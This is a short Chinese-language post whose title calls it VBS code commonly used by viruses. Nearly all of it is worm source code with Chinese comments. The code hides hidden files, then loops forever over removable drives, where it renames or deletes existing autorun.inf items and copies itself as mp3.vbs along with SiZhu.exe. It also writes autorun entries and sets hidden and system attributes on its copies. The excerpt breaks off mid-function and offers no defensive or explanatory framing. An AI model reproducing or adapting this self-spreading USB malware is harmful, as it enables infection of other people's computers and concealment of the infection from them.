一段病毒常用的VBS代码

　　On error resume next

　　Dim fso,wshell,curfolder,curdristr,curdri

　　Set fso=createobject("scripting.filesystemobject")

　　Set wshell=CreateObject("WScript.shell")

　　Set curfolder=fso.GetFolder(".")

　　curdristr=Left(WScript.ScriptFullName,3)

　　Set curdri=fso.GetDrive(curdristr)

　　reghid() '不显示隐藏文件

　　If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"mp3.vbs" Then '如果在system32中

　　For i=1 To 2 Step 0

　　reghid()

　　For Each dri In fso.Drives

　　If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then

　　'autorun.inf文件夹改名

　　If fso.FolderExists(dri.Path&"autorun.inf") Then

　　fso.MoveFolder dri.Path&"autorun.inf",dri.Path&"Rubbish"

　　End If

　　'复制自身及exe文件到移动硬盘

　　If fso.FileExists(dri.Path&"mp3.vbs") And fso.FileExists(dri.Path&"autorun.inf") Then

　　Else

　　If fso.FileExists(dri.Path&"mp3.vbs") Then

　　fso.DeleteFile dri.Path&"mp3.vbs",True

　　ElseIf fso.FileExists(dri.Path&"autorun.inf") Then

　　fso.DeleteFile dri.Path&"autorun.inf",True

　　End if

　　fso.CopyFile WScript.ScriptFullName,dri.Path&"mp3.vbs",True

　　If fso.FileExists(".SiZhu.exe") And Not fso.FileExists(dri.Path&"SiZhu.exe") Then

　　fso.CopyFile ".SiZhu.exe",dri.Path&"SiZhu.exe",True

　　End If

　　autoinf(dri.Path)

　　'给刚复制的文件加上隐藏属性

　　Set norkon=fso.GetFile(dri.Path&"mp3.vbs")

　　wshell.run "attrib +r +a +s +h "&dri.Path&"mp3.vbs",0

　　Set norkon=Nothing